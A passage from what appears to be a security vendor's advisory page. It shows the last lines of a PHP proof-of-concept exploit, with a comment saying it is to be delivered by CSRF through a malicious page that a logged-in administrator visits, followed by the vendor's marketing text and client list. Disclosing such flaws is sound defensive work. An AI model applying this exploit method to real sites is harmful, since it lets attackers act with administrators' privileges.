        print_r($json_response);
    }
}

curl_close($ch);

// Note: This PoC must be executed in the context of an authenticated administrator's browser session
// via CSRF (e.g., embedded in a malicious page the administrator visits).
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School